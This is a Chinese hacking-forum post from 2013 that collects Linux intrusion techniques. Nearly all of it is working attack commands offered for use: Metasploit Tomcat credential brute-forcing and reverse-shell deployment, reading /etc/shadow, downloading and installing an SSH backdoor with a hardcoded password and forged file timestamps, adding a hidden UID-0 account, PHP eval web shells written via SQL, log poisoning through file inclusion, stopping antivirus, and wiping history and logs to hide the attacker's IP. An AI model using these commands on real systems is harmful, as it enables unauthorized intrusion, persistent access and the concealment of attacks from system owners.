找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2892|回复: 0
打印 上一主题 下一主题

Linux渗透以及使用技巧收集与整理

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:55:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

破解TOMCAT帐号,密码利用MSF利用得到ROOT

msfconsole
search tomcat

use scanner/http/tomcat_mgr_login
show options
setg RHOST IP
setg RPORT port
set USER_FILE /ROOT/USER.TXT
set PASS_FILE /root/pass.txt
exploit


use muitl/http/tomcat_mgr_deploy
show options
set RHOST ip
set USERNAME admin
set PASSWORD admin
set payload linux/x86/meterpreter/reverse_tcp
show options
set LHOST ip
exploit
set payload linux/x86/meterpreter/reverse_tcp
exploit
sysinfo


利用SSH

重新生成SSH-KEYGEN
ssh-keygen -t rsa
cp id_rsa.pub authorized_keys

上传autoorized_keys
欢迎大家整理或者提供相关技巧
1.BT4启用网络
/etc/init.d/networking start
bt4使用nat连接使用上面命令即可自动连接网络。
2.查看root历史记录
/root/.bash_history
3.查看密码
cat /etc/passwd
cat /etc/shadow
4.linux敏感文件
etc/httpd/conf/httpd.conf
/etc/rc.local 有时可以读出来apache的路径
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/hosts.deny 定义禁止访问本机的主机
/etc/bashrc bash shell 的系统全局配置
/etc/group 系统用户组的定义文件
/etc/httpd/httpd.conf
/etc/issue 显示Linux核心的发行版本信息(用于本地登陆用户)
/etc/issue/net 显示Linux核心和发行版本信息(用于远程登陆用户)----没成功
/etc/ssh/ssh_config ssh配置文件
/etc/termcap 终端定义和配置文件
/etc/xinetd.d
/etc/mtab 包含当前安装的文件系统列表 有时可以读取到当前网站的路径
redhat-release:包含识别当前Red Hat 版本号的字符串
shells:列出可用在系统上的shell命令行解释器(bash,sh,csh等).
/etc/vsftpd/vsftpd.conf
/etc/xinetd.conf xinetd 配置文件
/etc/protocols 列举当前可用的协议
/etc/logrotate.conf 维护 /var/log 目录中的日志文件
/etc/ld.so.conf “动态链接程序”(Dynamic Linker)的配置。
我在我的系统中安装了非常有用的 wget 实用程序。/etc/ 中有一个 /etc/wgetrc 文件
/etc/wgetrc
Linux操作系统用户配置文件
/etc/passwd
/etc/shadow
/etc/inputrc
DNS客户机配置文件,设置DNS服务器的IP地址及DNS域名
/etc/resolv.conf
内容为Default Router的ip地址
Redhat 5.x: /etc/sysconfig/network
/etc/sendmail.cf (Linux) Sendmail(EMAIL服务器)配置文件
/etc/sendmail.cw 本地主机名
/usr/local/apache2/conf/extra/httpd-vhosts.conf  虚拟主机真实网站配置文件

tar -zcvf /tmp/etc.tar.gz /etc 将etc下所有的文件打包为etc.tar.gz

tar -zxvf /tmp/etc.tar.gz  将etc.tar.gz  解压到当前目录

locate passwd   find system passwd file

find / -type f -print | xargs grep password

1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://192.168.1.188/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh

4、设置ssh后门的登录密码:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish password

5、继续安装:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd restart

6、登入后门:
ssh -l root 192.168.1.188
密码:test123
echo >/root/.bash_history //清空操作日志



7、清除apache日志:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/210.73.64.100/d' access_log*

/usr/local/apache2/conf/httpd.conf
存活主机扫描
nmap -v -sP 192.168.6.0/24
主机端口扫描
nmap -P 3306 192.168.6.0/24
inux添加管理员方法:
通过root权限反弹shell执行以下命令:
useradd antian
passwd antian
输入一个复杂一点的密码。
usermod -g root antian

/usr/sbin/useradd -o -u 0 user &>/dev/null && echo user:123456 | /usr/sbin/chpasswd &>/dev/null
inux下获取一句话shell
Select '<?php eval($_POST[cmd]);?>' into outfile '/home/sitetest/dz6/upload/attachments/1.php';
Linux 下mysql数据库目录获取方法:
(1)通常情况下mysql文件位于/var/lib/mysql目录
(2)如果安装时修改了,则通过查看/etc/my.cnf来获取。重点查看datadir,例如datadir=/home/data/mysql 
rm -rf 目录名字 彻底删除文件以及目录

停止sysmantec杀毒软件
net stop "Symantec SPBBCSvc" /y
net stop "Symantec Settings Manager" /y
net stop "Symantec Event Manager" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec AntiVirus" /y

tcptraceroute –track-port –dnat www.wissen.de
检测负载均衡
文件包含能够读取ssh的auth.log日志时获取shell权限方法:
1.测试能否访问 http://IP/index.php?page=../../../../var/log/auth.log
2.使用ssh连接目标服务器 ssh '<pre><?php echo system($_GET["cmd"]);exit;?> '@IP
3.执行命令 IP/index.php?page=../../../../var/log/auth.log&cmd=ls -lh /var/log
修改文件属性
chmod 777 *.sql
chown apache *.sql 将当前用户拥有该用户的属性修改为apache用户所有。
清除linux日志方法:
1. grep -R "你的IP" *
2.删除结果中提到的日志
3.ssh的日志在/var/log/audit.log 或则 /var/log/secure.log
4.history -c
tar zcvf /var/log/audit.tar.gz /var/log/audit
Select '<?php eval($_POST[cmd]);?>' into outfile '/home/wwwroot/config/12.php';
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表